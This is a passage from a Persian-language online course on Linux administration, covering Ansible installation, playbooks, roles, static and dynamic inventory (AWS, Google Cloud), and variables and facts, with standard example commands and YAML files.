در این بخش، به بررسی و حل مشکلات مربوط به I/O و شبکه در سرویس‌ها پرداخته شد. ابزارهایی مانند iostat، iotop، netstat، ss، iftop، ping و traceroute به شما کمک می‌کنند تا مشکلات شبکه و I/O را شناسایی کرده و آن‌ها را برطرف کنید. به‌کارگیری صحیح این ابزارها و تنظیمات می‌تواند به بهبود عملکرد سرویس‌ها و سیستم کمک کند.[/cdb_course_lesson][/cdb_course_lessons]

[cdb_course_lessons title=”بخش 5: اتوماسیون و اسکریپت‌نویسی پیشرفته”][cdb_course_lesson title=”فصل 1. مدیریت پیکربندی با Ansible”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”نصب و پیکربندی Ansible” subtitle=”توضیحات کامل”]Ansible یکی از ابزارهای قدرتمند برای اتوماسیون و مدیریت پیکربندی است که می‌تواند برای مدیریت و پیکربندی سرورها، استقرار نرم‌افزارها، انجام وظایف مدیریتی و سایر عملیات‌های شبکه به‌طور موثر مورد استفاده قرار گیرد. در این بخش به نصب و پیکربندی Ansible خواهیم پرداخت و نحوه پیکربندی آن را برای مدیریت سرورها بررسی خواهیم کرد.

۱. نصب Ansible

برای نصب Ansible، ابتدا باید سیستم عامل خود را بررسی کنید. در اینجا، دستوراتی برای نصب Ansible بر روی سیستم‌های مبتنی بر Debian/Ubuntu و CentOS/RHEL آورده شده است.

۱.۱. نصب Ansible بر روی Debian/Ubuntu

برای نصب Ansible بر روی سیستم‌های Debian یا Ubuntu، از دستورات زیر استفاده می‌شود:

  1. به‌روزرسانی پکیج‌های موجود:
sudo apt update
  1. نصب بسته software-properties-common (برای افزودن مخزن Ansible):
sudo apt install software-properties-common
  1. اضافه کردن مخزن Ansible:
sudo add-apt-repository ppa:ansible/ansible
  1. نصب Ansible:
sudo apt update
sudo apt install ansible

۱.۲. نصب Ansible بر روی CentOS/RHEL

برای نصب Ansible بر روی سیستم‌های مبتنی بر CentOS یا RHEL، از دستورات زیر استفاده می‌شود:

  1. نصب مخزن EPEL:
sudo yum install epel-release
  1. نصب Ansible:
sudo yum install ansible

۱.۳. بررسی نصب Ansible

برای بررسی موفقیت‌آمیز بودن نصب، دستور زیر را وارد کنید:

ansible --version

این دستور نسخه نصب‌شده از Ansible را نمایش می‌دهد و تأیید می‌کند که نصب به درستی انجام شده است.


۲. پیکربندی Ansible

پس از نصب Ansible، نیاز به پیکربندی آن برای مدیریت سرورها خواهید داشت. در این بخش به نحوه پیکربندی Ansible برای اتصال به سرورهای مختلف و مدیریت آن‌ها خواهیم پرداخت.

۲.۱. پیکربندی فایل hosts

Ansible از فایل hosts برای تعریف گروه‌های سرورها و نحوه اتصال به آن‌ها استفاده می‌کند. فایل hosts به‌طور پیش‌فرض در مسیر /etc/ansible/hosts قرار دارد.

  1. برای ویرایش این فایل، از ویرایشگر متن استفاده کنید:
sudo nano /etc/ansible/hosts
  1. در داخل فایل hosts، شما می‌توانید گروه‌هایی از سرورها را تعریف کنید. به عنوان مثال، برای تعریف گروهی به نام webservers که شامل سرورهای مختلف است، به این صورت عمل کنید:
[webservers]
192.168.1.10
192.168.1.11
  1. برای اتصال به سرورهایی که توسط نام دامنه شناخته می‌شوند، می‌توانید از نام‌های دامنه به‌جای IP استفاده کنید:
[webservers]
server1.example.com
server2.example.com

۲.۲. پیکربندی SSH برای دسترسی به سرورها

Ansible به طور پیش‌فرض از پروتکل SSH برای ارتباط با سرورها استفاده می‌کند. شما باید اطمینان حاصل کنید که کلید SSH به درستی برای اتصال به سرورها پیکربندی شده است.

  1. برای ایجاد یک کلید SSH، از دستور زیر استفاده کنید:
ssh-keygen -t rsa -b 4096

این دستور یک جفت کلید SSH (کلید خصوصی و کلید عمومی) در مسیر ~/.ssh/id_rsa و ~/.ssh/id_rsa.pub ایجاد می‌کند.

  1. برای ارسال کلید عمومی به سرورهای مورد نظر، از دستور ssh-copy-id استفاده کنید:
ssh-copy-id user@192.168.1.10

این دستور کلید عمومی شما را به فایل ~/.ssh/authorized_keys روی سرور مقصد اضافه می‌کند تا بتوانید بدون وارد کردن رمزعبور به سرور متصل شوید.

۲.۳. تست اتصال به سرورها با Ansible

پس از پیکربندی فایل hosts و SSH، می‌توانید اتصال به سرورها را آزمایش کنید. برای تست اتصال به سرورهای گروه webservers از دستور زیر استفاده کنید:

ansible webservers -m ping

در اینجا -m ping به این معنی است که از ماژول ping برای تست اتصال به سرورها استفاده می‌شود. اگر همه چیز به درستی پیکربندی شده باشد، خروجی مشابه زیر نمایش داده می‌شود:

192.168.1.10 | SUCCESS | rc=0 >>
pong

192.168.1.11 | SUCCESS | rc=0 >>
pong

۳. اجرای دستورات و وظایف با Ansible

پس از نصب و پیکربندی Ansible، می‌توانید دستورات و وظایف را به صورت خودکار و با استفاده از playbook‌های Ansible اجرا کنید. در اینجا نحوه اجرای دستورات و انجام برخی وظایف پایه‌ای را بررسی خواهیم کرد.

۳.۱. اجرای دستورات ساده با Ansible

برای اجرای یک دستور ساده (مانند بررسی وضعیت سرویس‌ها) به روی تمامی سرورها، می‌توانید از دستور ansible به همراه گزینه -a (برای اجرای دستور از راه دور) استفاده کنید:

ansible webservers -a "uptime"

این دستور زمان اجرایی سیستم را در سرورهای گروه webservers نمایش می‌دهد.

۳.۲. استفاده از Playbook‌ها

Playbook‌ها در Ansible برای تعریف مجموعه‌ای از وظایف و تنظیمات به‌صورت YAML استفاده می‌شوند. در اینجا یک نمونه ساده از یک playbook برای نصب Apache بر روی سرورهای webservers آورده شده است:

  1. یک فایل YAML به نام install_apache.yml ایجاد کنید:
---
- name: نصب Apache بر روی سرورهای وب
  hosts: webservers
  become: yes
  tasks:
    - name: نصب بسته Apache
      apt:
        name: apache2
        state: present

    - name: راه‌اندازی سرویس Apache
      service:
        name: apache2
        state: started
        enabled: yes

در این playbook، دو وظیفه وجود دارد: نصب بسته apache2 و راه‌اندازی سرویس Apache.

  1. برای اجرای playbook، دستور زیر را وارد کنید:
ansible-playbook install_apache.yml

پس از اجرای این دستور، Ansible playbook را روی سرورهای webservers اجرا کرده و Apache را نصب و راه‌اندازی می‌کند.


۴. پیکربندی Ansible برای مقیاس‌های بزرگتر

برای مدیریت تعداد زیادی سرور، ممکن است نیاز به پیکربندی بیشتر و استفاده از ویژگی‌هایی مانند inventory، variable files، role-based playbooks و غیره داشته باشید.

۴.۱. استفاده از فایل‌های متغیر

برای مدیریت متغیرها می‌توانید از فایل‌های متغیر استفاده کنید. به عنوان مثال، می‌توانید متغیرهای خاص برای هر سرور یا گروه سرورها را در یک فایل YAML قرار دهید:

# vars.yml
apache_version: 2.4

در فایل playbook خود می‌توانید از این متغیرها استفاده کنید:

---
- name: نصب Apache
  hosts: webservers
  vars_files:
    - vars.yml
  tasks:
    - name: نصب Apache
      apt:
        name: "apache2={{ apache_version }}"
        state: present

۴.۲. استفاده از Role‌ها

Role‌ها به شما این امکان را می‌دهند که وظایف و تنظیمات مختلف را برای سازمان‌دهی بهتر و مدیریت مقیاس‌پذیرتر تنظیمات استفاده کنید.

  1. ساختار دایرکتوری role به این صورت است:
roles/
    apache/
        tasks/
            main.yml
        handlers/
            main.yml
        templates/
        vars/
        defaults/

در دایرکتوری tasks/main.yml، شما می‌توانید وظایف خود را تعریف کنید.


جمع‌بندی

در این بخش، نحوه نصب و پیکربندی Ansible برای مدیریت سرورها توضیح داده شد. همچنین، نحوه استفاده از دستورات ساده، playbook‌ها، و فایل‌های متغیر برای مقیاس‌پذیری و مدیریت مقادیر بزرگتر بررسی شد. Ansible به عنوان ابزاری قدرتمند، قابلیت اتوماسیون وظایف و تنظیمات را برای مدیران سیستم فراهم می‌آورد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ساخت و اجرای Playbooks” subtitle=”توضیحات کامل”]Playbook‌ها در Ansible یکی از ویژگی‌های کلیدی برای اتوماسیون فرآیندهای مدیریتی و تنظیمات پیچیده هستند. Playbook‌ها با استفاده از زبان YAML نوشته می‌شوند و می‌توانند مجموعه‌ای از وظایف را به‌صورت ترتیبی اجرا کنند. هر Playbook به‌طور کلی برای مدیریت گروهی از سرورها، نصب و راه‌اندازی نرم‌افزار، پیکربندی سرویس‌ها و بسیاری از عملیات‌های دیگر مورد استفاده قرار می‌گیرد. در این بخش، به طور کامل نحوه ساخت و اجرای Playbook‌ها را بررسی خواهیم کرد و چند مثال عملی از کاربرد آن‌ها را ارائه می‌دهیم.

۱. ساخت Playbook‌های ابتدایی

برای ساخت یک Playbook، ابتدا باید فایل YAML جدیدی بسازید که در آن وظایف مختلف به ترتیب ذکر شده باشند. در اینجا نحوه ساخت Playbook برای نصب یک بسته نرم‌افزاری ساده را توضیح خواهیم داد.

۱.۱. ساخت Playbook نصب Apache

  1. ابتدا یک فایل جدید به نام install_apache.yml بسازید:
nano install_apache.yml
  1. محتوای زیر را در فایل وارد کنید:
---
- name: نصب Apache بر روی سرورهای وب
  hosts: webservers
  become: yes
  tasks:
    - name: نصب بسته Apache
      apt:
        name: apache2
        state: present

    - name: راه‌اندازی سرویس Apache
      service:
        name: apache2
        state: started
        enabled: yes

در این Playbook:

  • hosts: webservers: مشخص می‌کند که این Playbook برای گروه سرورهایی با نام webservers اجرا خواهد شد.
  • become: yes: به Ansible می‌گوید که برای اجرای دستورات به دسترسی ریشه (root) نیاز دارد.
  • apt:: از ماژول apt برای نصب بسته apache2 استفاده می‌شود.
  • service:: از ماژول service برای راه‌اندازی و فعال‌سازی سرویس Apache استفاده می‌شود.
  1. این فایل در دایرکتوری جاری ذخیره می‌شود، یا در صورتی که بخواهید از ساختار دقیق‌تری استفاده کنید، می‌توانید این فایل را در دایرکتوری /etc/ansible/playbooks/ ذخیره کنید.

۱.۲. ساخت Playbook برای پیکربندی یک سرویس

در اینجا یک مثال دیگر برای پیکربندی سرویس‌ها در چند سرور آورده شده است.

  1. یک فایل جدید به نام configure_nginx.yml بسازید:
nano configure_nginx.yml
  1. محتوای زیر را در فایل وارد کنید:
---
- name: پیکربندی NGINX بر روی سرورهای وب
  hosts: webservers
  become: yes
  tasks:
    - name: نصب بسته NGINX
      apt:
        name: nginx
        state: present

    - name: راه‌اندازی سرویس NGINX
      service:
        name: nginx
        state: started
        enabled: yes

    - name: کپی کردن پیکربندی سفارشی
      copy:
        src: /home/user/nginx.conf
        dest: /etc/nginx/nginx.conf
        owner: root
        group: root
        mode: '0644'

    - name: راه‌اندازی مجدد سرویس NGINX
      service:
        name: nginx
        state: restarted

در این Playbook:

  • بسته nginx نصب می‌شود.
  • سرویس nginx راه‌اندازی و فعال می‌شود.
  • یک فایل پیکربندی سفارشی به /etc/nginx/nginx.conf کپی می‌شود.
  • سرویس nginx پس از پیکربندی مجدد راه‌اندازی می‌شود.

۲. اجرای Playbook‌ها

پس از ساخت Playbook، نوبت به اجرای آن می‌رسد. برای اجرای یک Playbook، از دستور ansible-playbook استفاده می‌کنیم.

۲.۱. اجرای یک Playbook

برای اجرای Playbook install_apache.yml که در بخش قبل ساخته‌ایم، از دستور زیر استفاده کنید:

ansible-playbook install_apache.yml

این دستور Playbook را اجرا کرده و اقدامات ذکر شده در آن را به ترتیب بر روی سرورهای گروه webservers انجام می‌دهد.

۲.۲. اجرای Playbook با فایل متغیرها

اگر در Playbook خود از متغیرها استفاده کرده‌اید، می‌توانید این متغیرها را از یک فایل YAML جداگانه وارد کنید. برای مثال، فرض کنید شما یک فایل متغیر به نام vars.yml دارید که متغیرهایی مانند نسخه Apache را در آن ذخیره کرده‌اید.

  1. ابتدا فایل vars.yml را بسازید:
nano vars.yml
  1. محتوای زیر را وارد کنید:
apache_version: "2.4"
  1. حالا می‌توانید هنگام اجرای Playbook از فایل متغیرها استفاده کنید:
ansible-playbook -e @vars.yml install_apache.yml

این دستور باعث می‌شود که متغیر apache_version به Playbook ارسال شود و در آن از آن استفاده شود.

۲.۳. اجرای Playbook با استفاده از Privilege Escalation

در صورتی که Playbook شما نیاز به دسترسی ریشه (root) برای اجرای دستورات داشته باشد، از گزینه --become برای ارتقای امتیازات استفاده می‌شود.

ansible-playbook --become install_apache.yml

این دستور به Ansible اجازه می‌دهد که دستورات را به عنوان کاربر ریشه (root) اجرا کند.


۳. چندین Playbook برای مقیاس‌های بزرگتر

برای مدیریت سرورهای متعدد و انجام وظایف مختلف بر روی آن‌ها، می‌توانید از Playbook‌های مختلف به صورت موازی استفاده کنید. در اینجا نحوه اجرای چندین Playbook به طور همزمان بررسی می‌شود.

۳.۱. استفاده از Playbook‌های چندگانه

اگر نیاز به اجرای چندین Playbook در یک زمان دارید، می‌توانید از یک اسکریپت برای ترتیب‌بندی اجرای آن‌ها استفاده کنید. برای مثال:

  1. یک فایل اسکریپت با نام run_playbooks.sh بسازید:
nano run_playbooks.sh
  1. محتوای زیر را وارد کنید:
#!/bin/bash

ansible-playbook install_apache.yml
ansible-playbook configure_nginx.yml
  1. اسکریپت را اجرا کنید:
chmod +x run_playbooks.sh
./run_playbooks.sh

این اسکریپت به ترتیب Playbook‌ها را اجرا خواهد کرد.


۴. استفاده از Role‌ها در Playbook‌ها

Role‌ها در Ansible به شما این امکان را می‌دهند که Playbook‌های خود را به بخش‌های کوچکتر و قابل استفاده مجدد تقسیم کنید. برای استفاده از Role‌ها در Playbook‌ها، ابتدا باید Role‌ها را ایجاد کرده و سپس در Playbook خود وارد کنید.

۴.۱. ساخت Role

  1. برای ساخت یک Role به نام apache از دستور ansible-galaxy استفاده کنید:
ansible-galaxy init apache

این دستور یک ساختار دایرکتوری برای Role شما ایجاد می‌کند:

apache/
  defaults/
  files/
  handlers/
  meta/
  tasks/
  templates/
  vars/
  1. فایل tasks/main.yml را ویرایش کنید:
---
- name: نصب Apache
  apt:
    name: apache2
    state: present

- name: راه‌اندازی Apache
  service:
    name: apache2
    state: started
    enabled: yes

۴.۲. استفاده از Role در Playbook

حالا می‌توانید از Role در Playbook خود استفاده کنید:

---
- name: نصب و پیکربندی Apache
  hosts: webservers
  become: yes
  roles:
    - apache

در این Playbook از Role apache استفاده می‌شود که در مرحله قبلی ساخته‌ایم.


جمع‌بندی

در این بخش، نحوه ساخت و اجرای Playbook‌ها در Ansible به تفصیل توضیح داده شد. Playbook‌ها به شما این امکان را می‌دهند که وظایف پیچیده را به‌صورت خودکار و با ساختار منظم اجرا کنید. همچنین، نحوه استفاده از متغیرها، Role‌ها، و اسکریپت‌ها برای مقیاس‌پذیری و انعطاف‌پذیری بیشتر در عملیات‌های مدیریتی با Ansible بررسی شد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ساخت و استفاده از Roles در Ansible” subtitle=”توضیحات کامل”]یکی از ویژگی‌های کلیدی و بسیار مفید در Ansible، استفاده از Roles است. Roles به شما این امکان را می‌دهند که وظایف پیچیده را به بخش‌های کوچکتر و قابل استفاده مجدد تقسیم کنید. با استفاده از Roles، می‌توانید Playbook‌ها را تمیزتر، مقیاس‌پذیرتر و قابل نگهداری‌تر کنید. در این بخش، نحوه ساخت و استفاده از Roles را به‌طور جامع و کاربردی بررسی خواهیم کرد.

۱. ساخت Role جدید

برای ایجاد یک Role در Ansible، می‌توانید از دستور ansible-galaxy استفاده کنید. این دستور به‌طور خودکار یک ساختار دایرکتوری استاندارد برای Role ایجاد می‌کند که شامل فایل‌ها و دایرکتوری‌های مختلف است.

۱.۱. ایجاد Role جدید

برای ایجاد یک Role جدید به نام apache، از دستور زیر استفاده کنید:

ansible-galaxy init apache

این دستور یک دایرکتوری به نام apache ایجاد می‌کند که شامل ساختار زیر است:

apache/
  defaults/
    main.yml
  files/
  handlers/
    main.yml
  meta/
    main.yml
  tasks/
    main.yml
  templates/
  vars/
    main.yml

در اینجا هر دایرکتوری و فایل کاربرد خاص خود را دارد:

  • defaults/: شامل مقادیر پیش‌فرض متغیرها.
  • files/: محلی برای فایل‌های statically که باید به سرورها منتقل شوند.
  • handlers/: شامل وظایف خاصی است که می‌تواند به‌عنوان یک پاسخ به تغییرات یا رویدادهای مختلف اجرا شود.
  • meta/: برای افزودن اطلاعات متا درباره Role (مثل وابستگی‌ها و مجوزها).
  • tasks/: شامل وظایف اصلی که Role انجام می‌دهد.
  • templates/: برای فایل‌های template که می‌توانید آن‌ها را به سرورهای مقصد منتقل کرده و با داده‌های متغیر جایگزین کنید.
  • vars/: برای متغیرهایی که به‌صورت محلی برای Role تعریف می‌شوند.

۱.۲. ویرایش فایل tasks/main.yml

در این مرحله، باید وظایف اصلی Role را تعریف کنید. برای مثال، اگر بخواهید Role apache را برای نصب و راه‌اندازی Apache طراحی کنید، فایل tasks/main.yml به شکل زیر خواهد بود:

---
- name: نصب Apache
  apt:
    name: apache2
    state: present

- name: راه‌اندازی سرویس Apache
  service:
    name: apache2
    state: started
    enabled: yes

در این فایل:

  • اولین وظیفه، نصب Apache است.
  • دومین وظیفه، راه‌اندازی و فعال‌سازی سرویس Apache است.

۱.۳. ویرایش فایل defaults/main.yml برای تعریف متغیرها

اگر بخواهید متغیرهایی برای Role تعریف کنید (برای مثال، نسخه Apache یا پورت مورد استفاده)، می‌توانید آن‌ها را در فایل defaults/main.yml قرار دهید:

---
apache_version: "2.4"
apache_port: 80

این متغیرها می‌توانند در سایر بخش‌های Role استفاده شوند.

۱.۴. ویرایش فایل handlers/main.yml

در این فایل می‌توانید وظایفی را قرار دهید که در پاسخ به تغییرات اجرا شوند، مثل راه‌اندازی مجدد سرویس‌ها پس از تغییرات در فایل‌ها. به‌عنوان مثال، فرض کنید پس از تغییر پیکربندی Apache، سرویس باید مجدداً راه‌اندازی شود:

---
- name: راه‌اندازی مجدد Apache
  service:
    name: apache2
    state: restarted

۱.۵. ویرایش فایل meta/main.yml

فایل meta/main.yml برای تعریف اطلاعات متا در مورد Role، مانند وابستگی‌های دیگر Roles یا مجوزهای استفاده از Role، کاربرد دارد. برای مثال، اگر Role شما به Role دیگری وابسته است، باید آن را در این فایل مشخص کنید:

---
dependencies:
  - { role: common, some_parameter: value }

۲. استفاده از Role در Playbook‌ها

پس از ساخت Role، می‌توانید آن را در Playbook خود استفاده کنید. برای این کار، کافی است که به‌راحتی نام Role را در بخش roles: در Playbook وارد کنید.

۲.۱. استفاده از Role در Playbook

برای مثال، یک Playbook به نام site.yml بسازید و از Role apache استفاده کنید:

  1. ابتدا یک فایل به نام site.yml بسازید:
nano site.yml
  1. محتوای زیر را وارد کنید:
---
- name: نصب و پیکربندی Apache
  hosts: webservers
  become: yes
  roles:
    - apache

در این Playbook:

  • hosts: webservers مشخص می‌کند که این Playbook بر روی گروه سرورهایی با نام webservers اجرا خواهد شد.
  • roles: از Role به نام apache استفاده می‌کند.

۳. اجرای Playbook با Role‌ها

پس از تعریف Playbook، برای اجرای آن از دستور ansible-playbook استفاده می‌کنیم:

ansible-playbook site.yml

این دستور Playbook را اجرا کرده و وظایف تعریف شده در Role apache را بر روی سرورهای گروه webservers انجام می‌دهد.

۴. ساختار پیشرفته‌تر با چندین Role

در برخی موارد، ممکن است بخواهید از چندین Role در یک Playbook استفاده کنید. به‌عنوان مثال، شما ممکن است نیاز به نصب و پیکربندی Apache و Nginx بر روی سرورهای مختلف داشته باشید.

۴.۱. استفاده از چندین Role

در اینجا یک Playbook با چندین Role آورده شده است:

  1. ابتدا یک فایل به نام site.yml بسازید:
nano site.yml
  1. محتوای زیر را وارد کنید:
---
- name: نصب و پیکربندی Apache
  hosts: webservers
  become: yes
  roles:
    - apache

- name: نصب و پیکربندی NGINX
  hosts: webservers
  become: yes
  roles:
    - nginx

در این Playbook:

  • ابتدا Role apache بر روی سرورهای گروه webservers اجرا می‌شود.
  • سپس Role nginx بر روی همان سرورها اجرا خواهد شد.

۵. مجموعه‌ای از Role‌ها در دایرکتوری‌ها

اگر شما یک پروژه بزرگ دارید و می‌خواهید Role‌های مختلف را در دایرکتوری‌های جداگانه نگهداری کنید، می‌توانید ساختار دایرکتوری زیر را برای Playbook‌های خود استفاده کنید:

/project
  /playbooks
    site.yml
  /roles
    /apache
    /nginx

در این ساختار، دایرکتوری roles/ شامل تمام Role‌ها است و دایرکتوری playbooks/ شامل Playbook‌ها است که به این Role‌ها ارجاع می‌دهند.

جمع‌بندی

در این بخش، نحوه ساخت و استفاده از Role‌ها در Ansible را به تفصیل بررسی کردیم. استفاده از Role‌ها به شما این امکان را می‌دهد که وظایف پیچیده را به بخش‌های کوچکتر و قابل استفاده مجدد تقسیم کرده و Playbook‌های خود را تمیزتر و مقیاس‌پذیرتر کنید. همچنین، نحوه استفاده از Role‌ها برای نصب و پیکربندی سرویس‌ها مانند Apache و Nginx و نحوه استفاده از متغیرها، handlers، و فایل‌های template را یاد گرفتید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت Inventory و Dynamic Inventory” subtitle=”توضیحات کامل”]در این بخش، به بررسی نحوه مدیریت Inventory و Dynamic Inventory در Ansible پرداخته می‌شود. Inventory در Ansible مجموعه‌ای از اطلاعات است که درباره‌ی سرورها، گروه‌ها و منابع موجود در محیط شما دارد. مدیریت صحیح Inventory می‌تواند به بهینه‌سازی روند اتوماسیون و اجرای کارهای مربوط به پیکربندی و استقرار کمک کند. در این بخش، ابتدا به بررسی Inventory استاتیک پرداخته خواهد شد و سپس Dynamic Inventory و نحوه پیکربندی آن توضیح داده می‌شود.

مدیریت Inventory استاتیک

Inventory استاتیک در Ansible شامل لیستی از سرورها و اطلاعات دیگر است که به صورت دستی در فایل‌های YAML یا INI تعریف می‌شود. این فایل‌ها مشخص می‌کنند که کدام سرورها قرار است در Playbookها و نقش‌ها مورد استفاده قرار گیرند. برای تعریف Inventory استاتیک، می‌توانید فایل‌های INI یا YAML را انتخاب کنید.

  1. فایل Inventory INI
    در این نوع فایل، می‌توانید سرورها و گروه‌ها را به صورت زیر تعریف کنید:

مثال فایل inventory.ini:

[webservers]
web1.example.com
web2.example.com

[dbservers]
db1.example.com
db2.example.com

این فایل شامل دو گروه است: webservers و dbservers. سرورهای مربوط به هر گروه به سادگی در زیر گروه‌های مربوطه ذکر شده‌اند.

  1. فایل Inventory YAML
    در فایل YAML، می‌توانید ساختار مشابه را با استفاده از قالب YAML داشته باشید. برای مثال:

مثال فایل inventory.yml:

all:
  children:
    webservers:
      hosts:
        web1.example.com:
        web2.example.com:
    dbservers:
      hosts:
        db1.example.com:
        db2.example.com:

استفاده از Inventory استاتیک در Ansible

برای استفاده از فایل Inventory استاتیک در Ansible، کافیست هنگام اجرای دستورات یا Playbookها، مسیر فایل Inventory را مشخص کنید.

دستور برای اجرای Playbook با استفاده از Inventory استاتیک:

ansible-playbook -i inventory.ini playbook.yml

یا

ansible-playbook -i inventory.yml playbook.yml

این دستور Playbook را با استفاده از فایل Inventory مشخص‌شده اجرا می‌کند.

مدیریت Dynamic Inventory

Dynamic Inventory در Ansible به شما این امکان را می‌دهد که به طور خودکار و دینامیک اطلاعات مربوط به سرورها و منابع را از منابع خارجی مانند AWS، Google Cloud، OpenStack، یا دیگر منابع جمع‌آوری کنید. به این ترتیب، می‌توانید Inventory خود را به طور خودکار به روز کنید بدون نیاز به تغییر دستی فایل‌ها.

برای استفاده از Dynamic Inventory، نیاز به یک اسکریپت یا پلاگین مخصوص دارید که اطلاعات را از منبع خارجی جمع‌آوری کند.

  1. نصب و پیکربندی پلاگین Dynamic Inventory برای AWS

Ansible از پلاگین‌های مختلفی برای اتصال به منابع ابری پشتیبانی می‌کند. یکی از محبوب‌ترین این پلاگین‌ها، پلاگین AWS است که برای جمع‌آوری اطلاعات مربوط به EC2 instances استفاده می‌شود.

مراحل نصب پلاگین AWS:

  1. ابتدا مطمئن شوید که بسته‌های مورد نیاز برای استفاده از AWS در Ansible نصب شده‌اند:
    pip install boto boto3
    
  2. سپس فایل پیکربندی AWS Dynamic Inventory را ایجاد کنید. این فایل به صورت زیر به نظر می‌رسد:

مثال فایل aws_ec2.yml برای Dynamic Inventory:

plugin: aws_ec2
regions:
  - us-east-1
  - us-west-2
keyed_groups:
  - key: tags.Name
    prefix: tag_

این فایل پیکربندی مشخص می‌کند که از AWS EC2 در نواحی us-east-1 و us-west-2 استفاده کنیم. همچنین، گروه‌هایی بر اساس تگ Name در AWS ایجاد خواهد کرد.

  1. برای استفاده از Dynamic Inventory در Playbook، دستور زیر را اجرا کنید:

دستور برای اجرای Playbook با استفاده از Dynamic Inventory:

ansible-playbook -i aws_ec2.yml playbook.yml

پیکربندی Dynamic Inventory برای Google Cloud

Google Cloud نیز از Dynamic Inventory پشتیبانی می‌کند. برای استفاده از آن، باید پلاگین مربوطه را نصب کرده و فایل پیکربندی را برای Google Cloud تنظیم کنید.

  1. ابتدا باید ابزارهای مورد نیاز را نصب کنید:
    pip install google-auth google-auth-oauthlib google-auth-httplib2 google-api-python-client
    
  2. فایل پیکربندی Google Cloud Dynamic Inventory به صورت زیر است:

مثال فایل gce.yml برای Dynamic Inventory:

plugin: gce
project: my-gcp-project
zones:
  - us-central1-a
keyed_groups:
  - key: labels.env
    prefix: env_
  1. برای استفاده از Dynamic Inventory Google Cloud در Playbook، دستور زیر را اجرا کنید:

دستور برای اجرای Playbook با استفاده از Google Cloud Dynamic Inventory:

ansible-playbook -i gce.yml playbook.yml

استفاده از Dynamic Inventory در موارد مختلف

همانطور که اشاره شد، Dynamic Inventory این امکان را به شما می‌دهد که به طور خودکار منابع خود را از سرویس‌های مختلف مانند AWS، Google Cloud، و OpenStack جمع‌آوری کنید. این به شما این امکان را می‌دهد که Inventory خود را به طور پویا مدیریت کنید و نیازی به به‌روزرسانی دستی فایل‌ها نباشد.

جمع بندی

در این بخش، نحوه مدیریت Inventory استاتیک و Dynamic Inventory در Ansible بررسی شد. Inventory استاتیک ساده‌ترین روش است که در آن سرورها به صورت دستی وارد می‌شوند، در حالی که Dynamic Inventory امکان جمع‌آوری اطلاعات سرورها از منابع خارجی به صورت خودکار را فراهم می‌آورد. استفاده از Dynamic Inventory می‌تواند به‌ویژه در محیط‌های ابری مفید باشد که منابع به طور مداوم تغییر می‌کنند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Variables و Facts” subtitle=”توضیحات کامل”]در این بخش، به بررسی نحوه استفاده از Variables و Facts در Ansible پرداخته خواهد شد. استفاده از متغیرها و اطلاعات سیستم (Facts) یکی از ویژگی‌های بسیار قدرتمند در Ansible است که می‌تواند به شما کمک کند تا پیکربندی‌ها و وظایف خود را به صورت منعطف و خودکار انجام دهید. متغیرها و اطلاعات سیستم به شما این امکان را می‌دهند که Playbookهای خود را بر اساس شرایط و وضعیت‌های مختلف اجرا کنید.

استفاده از Variables در Ansible

متغیرها در Ansible به شما این امکان را می‌دهند که مقادیر قابل تغییر را در هنگام اجرای Playbook به راحتی استفاده کنید. متغیرها می‌توانند در سطح جهانی، در سطح گروه‌ها یا در سطح هر وظیفه (Task) خاص تعریف شوند. این متغیرها می‌توانند از فایل‌ها، خط فرمان یا به صورت پیش‌فرض در داخل Playbookها تعیین شوند.

  1. تعریف متغیر در Playbook

شما می‌توانید متغیرها را مستقیماً در داخل Playbook تعریف کنید. برای مثال:

مثال Playbook با متغیرها:

---
- name: Install Apache
  hosts: webservers
  vars:
    apache_package: httpd
  tasks:
    - name: Install Apache package
      yum:
        name: "{{ apache_package }}"
        state: present

در این مثال، متغیر apache_package تعریف شده و در داخل وظیفه نصب پکیج httpd استفاده می‌شود.

  1. تعریف متغیر در فایل‌های جداگانه

شما می‌توانید متغیرها را در فایل‌های YAML مجزا تعریف کنید و در Playbook به آن‌ها ارجاع دهید. برای این کار از دستور vars_files استفاده می‌شود.

مثال فایل متغیر vars.yml:

apache_package: httpd

استفاده از متغیر در Playbook:

---
- name: Install Apache
  hosts: webservers
  vars_files:
    - vars.yml
  tasks:
    - name: Install Apache package
      yum:
        name: "{{ apache_package }}"
        state: present
  1. تعریف متغیر از خط فرمان

شما همچنین می‌توانید متغیرها را هنگام اجرای Playbook از طریق خط فرمان وارد کنید. این کار از طریق پارامتر -e انجام می‌شود.

دستور برای اجرای Playbook با متغیر از خط فرمان:

ansible-playbook -i inventory.ini playbook.yml -e "apache_package=httpd"

استفاده از Facts در Ansible

Facts اطلاعاتی هستند که Ansible به طور خودکار از سیستم‌ها جمع‌آوری می‌کند. این اطلاعات شامل وضعیت سیستم، نام میزبان، معماری پردازنده، نسخه سیستم‌عامل و دیگر ویژگی‌های سخت‌افزاری و نرم‌افزاری است. شما می‌توانید از این اطلاعات برای انجام وظایف خاص و تنظیمات پویا استفاده کنید.

  1. جمع‌آوری Facts

Ansible به طور پیش‌فرض در هنگام اجرای Playbookها اطلاعات سیستم را جمع‌آوری می‌کند. شما می‌توانید این اطلاعات را از طریق setup module مشاهده کنید.

مثال استفاده از setup برای جمع‌آوری Facts:

---
- name: Gather system facts
  hosts: all
  tasks:
    - name: Gather facts about the system
      setup:
  1. دسترس‌پذیری Facts در Playbook

شما می‌توانید از Facts جمع‌آوری‌شده در Playbook خود استفاده کنید. به طور مثال، می‌توانید از نسخه سیستم‌عامل یا معماری پردازنده برای تعیین نحوه نصب یک پکیج استفاده کنید.

مثال استفاده از Facts در Playbook:

---
- name: Install Apache based on OS version
  hosts: all
  tasks:
    - name: Install Apache on RHEL or CentOS
      yum:
        name: httpd
        state: present
      when: ansible_facts['os_family'] == 'RedHat'
      
    - name: Install Apache on Debian or Ubuntu
      apt:
        name: apache2
        state: present
      when: ansible_facts['os_family'] == 'Debian'

